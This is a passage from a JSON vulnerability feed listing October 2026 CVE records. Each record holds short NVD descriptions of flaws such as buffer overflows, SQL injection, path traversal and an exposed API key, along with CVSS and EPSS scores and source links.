2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43857&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43857, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43856","cveId":"CVE-2026-43856","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability in the FileProcess::CheckDir function could allow a remote authenticated attacker to achieve arbitrary code execution via a path longer...","summary":"A stack-based buffer overflow vulnerability in the FileProcess::CheckDir function could allow a remote authenticated attacker to achieve arbitrary code execution via a path longer than 1024 bytes.","detail":"A stack-based buffer overflow vulnerability in the FileProcess::CheckDir function could allow a remote authenticated attacker to achieve arbitrary code execution via a path longer than 1024 bytes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:06.640Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43856","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00656,"percentile":0.51131,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43856","type":"primary","publishedAt":"2026-10-20T10:17:06.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43855","cveId":"CVE-2026-43855","aliases":[],"kind":"vulnerability","title":"A heap-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.","summary":"A heap-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.","detail":"A heap-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:06.520Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43855","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00477,"percentile":0.40914,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43855","type":"primary","publishedAt":"2026-10-20T10:17:06.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43853","cveId":"CVE-2026-43853","aliases":[],"kind":"vulnerability","title":"A vulnerability could allow an attacker to send a crafted message to trigger an assertion fault, causing the service to crash.","summary":"A vulnerability could allow an attacker to send a crafted message to trigger an assertion fault, causing the service to crash.","detail":"A vulnerability could allow an attacker to send a crafted message to trigger an assertion fault, causing the service to crash.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:06.283Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43853","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00395,"percentile":0.33474,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43853","type":"primary","publishedAt":"2026-10-20T10:17:06.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43852","cveId":"CVE-2026-43852","aliases":[],"kind":"vulnerability","title":"A vulnerability could allow an authenticated attacker to write files to arbitrary locations on the system.","summary":"A vulnerability could allow an authenticated attacker to write files to arbitrary locations on the system.","detail":"A vulnerability could allow an authenticated attacker to write files to arbitrary locations on the system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:06.170Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43852","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00428,"percentile":0.36806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43852","type":"primary","publishedAt":"2026-10-20T10:17:06.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43851","cveId":"CVE-2026-43851","aliases":[],"kind":"vulnerability","title":"A path traversal vulnerability could allow an authenticated attacker to read arbitrary files on the system.","summary":"A path traversal vulnerability could allow an authenticated attacker to read arbitrary files on the system.","detail":"A path traversal vulnerability could allow an authenticated attacker to read arbitrary files on the system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:06.047Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43851","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00428,"percentile":0.36806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43851","type":"primary","publishedAt":"2026-10-20T10:17:06.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43850","cveId":"CVE-2026-43850","aliases":[],"kind":"vulnerability","title":"A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system.","summary":"A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system.","detail":"A command injection vulnerability could allow an authenticated attacker to achieve root-level code execution on the system.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:05.923Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43850","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.0157,"percentile":0.7519,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43850","type":"primary","publishedAt":"2026-10-20T10:17:05.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113459","cveId":"CVE-2026-113459","aliases":[],"kind":"vulnerability","title":"In versions running on TYPO3 10 and 11, the configured OpenAI API key is embedded in every backend page, so that the editor plugin can contact the OpenAI service directly from the...","summary":"In versions running on TYPO3 10 and 11, the configured OpenAI API key is embedded in every backend page, so that the editor plugin can contact the OpenAI service directly from the browser. Any authenticated backend user can read the key and use it at the expense of the site operator. This only applies if an API key has been configured.","detail":"In versions running on TYPO3 10 and 11, the configured OpenAI API key is embedded in every backend page, so that the editor plugin can contact the OpenAI service directly from the browser. Any authenticated backend user can read the key and use it at the expense of the site operator. This only applies if an API key has been configured.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:05.540Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113459","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00353,"percentile":0.28717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113459","type":"primary","publishedAt":"2026-10-20T10:17:05.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113459&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113459, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113381","cveId":"CVE-2026-113381","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in Osclass up to 8.3.1. Affected by this vulnerability is the function Item::findUserItems of the file oc-includes/osclass/model/Item.php of the...","summary":"A weakness has been identified in Osclass up to 8.3.1. Affected by this vulnerability is the function Item::findUserItems of the file oc-includes/osclass/model/Item.php of the component Item Model Handler. This manipulation of the argument sPattern causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A weakness has been identified in Osclass up to 8.3.1. Affected by this vulnerability is the function Item::findUserItems of the file oc-includes/osclass/model/Item.php of the component Item Model Handler. This manipulation of the argument sPattern causes sql injection. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:05.243Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113381","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.00382,"percentile":0.32003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113381&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113381","type":"primary","publishedAt":"2026-10-20T10:17:05.243Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113381&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113381, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112239","cveId":"CVE-2026-112239","aliases":[],"kind":"vulnerability","title":"The extension provides a backend endpoint that writes a submitted value into a submitted field of a submitted page record.","summary":"The extension provides a backend endpoint that writes a submitted value into a submitted field of a submitted page record. It neither checks the user's permissions nor limits which fields can be changed. Any authenticated backend user can therefore change any property of any page, including its access permissions and configuration, outside the scope granted to them.","detail":"The extension provides a backend endpoint that writes a submitted value into a submitted field of a submitted page record. It neither checks the user's permissions nor limits which fields can be changed. Any authenticated backend user can therefore change any property of any page, including its access permissions and configuration, outside the scope granted to them.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:04.780Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112239","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.0035,"percentile":0.28357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112239&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112239","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112239","type":"primary","publishedAt":"2026-10-20T10:17:04.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112239&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112239, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112238","cveId":"CVE-2026-112238","aliases":[],"kind":"vulnerability","title":"The file search of the extension builds its database conditions by wrapping the search term in quotes itself.","summary":"The file search of the extension builds its database conditions by wrapping the search term in quotes itself. Only the wildcard characters of the LIKE operator are escaped, quote characters are not. A crafted search term can therefore leave the intended string value and change the database query. This allows an attacker to read data from the database. The issue affects every searched field.","detail":"The file search of the extension builds its database conditions by wrapping the search term in quotes itself. Only the wildcard characters of the LIKE operator are escaped, quote characters are not. A crafted search term can therefore leave the intended string value and change the database query. This allows an attacker to read data from the database. The issue affects every searched field.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:04.653Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112238","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00448,"percentile":0.38676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112238&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112238","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112238","type":"primary","publishedAt":"2026-10-20T10:17:04.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112238&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112238, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112066","cveId":"CVE-2026-112066","aliases":[],"kind":"vulnerability","title":"The JSON import of the cookie consent configuration did not respect the backend user's permissions.","summary":"The JSON import of the cookie consent configuration did not respect the backend user's permissions. Non-admin backend users with access to the module could import a configuration that adds arbitrary scripts to the frontend of the website.","detail":"The JSON import of the cookie consent configuration did not respect the backend user's permissions. Non-admin backend users with access to the module could import a configuration that adds arbitrary scripts to the frontend of the website.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:03.757Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112066","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00437,"percentile":0.37661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112066","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112066","type":"primary","publishedAt":"2026-10-20T10:17:03.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 